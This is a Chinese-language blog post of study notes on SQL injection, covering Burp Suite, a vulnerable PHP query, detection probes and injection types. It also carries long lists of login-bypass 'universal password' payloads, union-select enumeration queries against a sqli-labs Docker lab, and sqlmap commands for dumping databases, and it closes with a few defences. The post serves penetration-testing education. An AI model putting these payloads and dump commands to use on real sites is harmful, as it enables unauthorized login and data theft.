zoukankan      html  css  js  c++  java
  • web 漏洞

    web 漏洞 - sql注入

    抓包工具

    BurpSuite
    java 1.8

    BurpSuite是一款信息安全从业人员必备的集成型的渗透测试工具,它采用自动测试和半自动测试的方式,
    包含了:
    Proxy,Spider,Scanner,Intruder,Repeater,Sequencer,Decoder,Comparer

    通过拦截HTTP/HTTPS的web数据包,充当浏览器和相关应用程序的中间人,进行拦截、修改、重放数据包进行测试,是web安全人
    员的一把必备的瑞士军刀。官方提供免费版和专业版,以下是两个版本的功能对比。


    Fiddler
    Fiddler是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的“进
    出”Fiddler的数据(指cookie,html,js,css等文件)。
    Fiddler 要比其他的网络调试器要更加简单,因为它不仅仅暴露http通讯还提供了一个用户友好的格式。


    Linux KALI

    基本安装,系统内集成了很多安全相关的工具,可以方便使用

    SQL注入漏洞原理
    什么是SQL
    结构化查询语言,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询,更新和管理关系数
    据库系统。

    1. 看日志
    2. 测试防火墙


    通过参数传递
    php+mysql 例子:
    $id=$_GET['id'];
    $sql="select * from users where id=$id limit 0,1";
    $result=mysql_query($sql);

    没有进行程序上的过滤,才会被注入

    哪些地方会产生问题?
    一起输入的地方,与数据交互的地方

    ASP 注入
    access注入基本流程:(你猜我猜你猜不猜)
    1.判断有无注入
    2.猜解表名
    3.猜解字段
    4.猜解管理员ID值
    5.猜解用户名和密码长度
    6.猜解用户名和密码

    总结起来有以下四种判断方法:
    粗略型:提交单引号'
    逻辑型(数字型注入):and 1=1/and 1=2
    逻辑型(字符型注入):' and '1'='1/' and '1'='2
    逻辑型(搜索型注入):%' and 1=1 and '%'='%/%' and 1=2 and '%'='%

    最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:http://www.xxx.com/xxx.asp?id=YY 其中“YY”可能
    是数字,也有可能是字符串,分别被称为整数类型数据或者字符型数据。
    通常可以使用以下两种方法进行检测,判断该页面链接是否存在SQL注入漏洞。

    如何去发现sql注入?
    通过web漏洞扫描器
    再参数后面添加错误语句
    大量的对参数Fuzz测试
    自觉


    注入分类

    数字型注入
    SELECT * FROM users WHERER id=$id LIMIT 0,1;

    字符型注入
    SELECT * FROM users WHERE username='admin' LIMIT 0,1;

    注入提交方式
    GET
    POST
    COOKIE
    HTTP 头部注入


    注入方式
    基于报错注入
    基于布尔的盲注
    基于时间的盲注
    联合查询
    内联查询
    堆叠的查询


    mysql 手工注入

    sqlmap 工具

    万能密码 PHP
    admin' or 1=1#
    只有漏洞的才能使用

    select * from user where username='admin' or 1=1#' and password='pass';
    执行这条,不需要密码直接登录
    or 1=1#' 1=1永真的,直接登。 单引号后的全部当注释忽略了

    asp aspx万能密码
    1:"or "a"="a
    2:'.).or.('.a.'='.a
    3:or 1=1--
    4:'or 1=1--
    5:a'or' 1=1--
    6:"or 1=1--
    7:'or.'a.'='a
    8:"or"="a'='a
    9:'or''='
    10:'or'='or'

    admin'or 1=1#


    PHP万能密码
    admin'/*
    密码*/'


    'or 1=1/*

    "or "a"="a
    "or 1=1--
    "or"="
    "or"="a'='a
    "or1=1--
    "or=or"
    ''or'='or'
    ') or ('a'='a
    '.).or.('.a.'='.a
    'or 1=1
    'or 1=1--
    'or 1=1/*
    'or"="a'='a
    'or' '1'='1'
    'or''='
    'or''=''or''='
    'or'='1'
    'or'='or'
    'or.'a.'='a
    'or1=1--
    1'or'1'='1
    a'or' 1=1--
    a'or'1=1--
    or 'a'='a'
    or 1=1--
    or1=1--

    使用docker安装一个简单的web 用来渗透测试

    docker pull c0ny1/sqli-labs
    docker run -dt --name sqli-lab -p 8003:80 acgpiano/sqli-labs:latest

    主要流程有   (你猜我猜你猜不猜)

    1.猜解字段
    2.查看当前数据库 %23 就是注释符 #
    3.Union select 1,group_concat(schema_name),3 from information_schema.schemata%23 # 查询所有数据库

    4. union select 1,group_concat(table_name),3 from information_from informationschema.tables
    table_schema=0x7365637572697479%23
    # 查询数据库中的表

    5. UNION select 1,group_concat(column_name),3 from information_schema.columns where
    table_name=0x7365637572697479%23
    # 查询表名中的所有字段

    可以使用的函数

    1. version() # 查版本
    2. user() # 用户
    3. database() # 查数据库

    4. security 转成16进制 0x7365637572697479

    5. order by 3%23 # 判断字段数

    6. union select 1,2,3 %23

    SQLMAP 工具使用

    更智能的去渗透分析
    使用环境 Python


    SQLMap 常用参数 -v 注入等级 一共有6个级别

    1. 判断注入
    python sqlmap.py -u http://URL -v 3

    2. 数据库
    python sqlmap.py -u http://URL --dbs -v 3
    python sqlmap.py -u http://URL --current-user -v 3

    3. 表名
    python sqlmap.py -u http://URL --tables -D 数据库名 -v 3

    4. 字段名
    python sqlmap.py -u http://URL --column -T 表名 -D 数据库名 -v 3

    5. 内容
    python sqlmap.py -u http://URL --dump -C 字段名 -T 表名 -D 数据库名 -v3

    6. 指定抓取的数据包来测试
    python sqlmap.py -r xxx.txt -v 3

     我拿自己来测试,反正我没成功 哈哈哈哈或或或

    总结
    post 如何使用POST方式
    6. 指定抓取的数据包来测试
    python sqlmap.py -r xxx.txt -v 3

    如何取防护SQL注入

    1. CDN 隐藏真实IP地址
    2. 通过安全函数进行过滤
    3. 对数据库最小权限设置
    4. 服务器针对性的WAF防火墙

  • 相关阅读:
    maven学习(七)——使用maven构建java项目
    Java 实现word 中写入文字图片的解决方案
    postman中如何传数组
    char类型在传参时接收不到数据的原因
    Oracle一条数据多表连插
    Spring Cloud Config的配置中心使用非对称性加密
    Failed to read artifact descriptor for org.springframework.cloud:spring-cloud-starter-config:jar:unk
    如何上传文件到git
    Windows的DOS命令
    ideal的maven项目不小心remove module,如何找回
  • 原文地址:https://www.cnblogs.com/huidou/p/10825556.html
Copyright © 2011-2022 走看看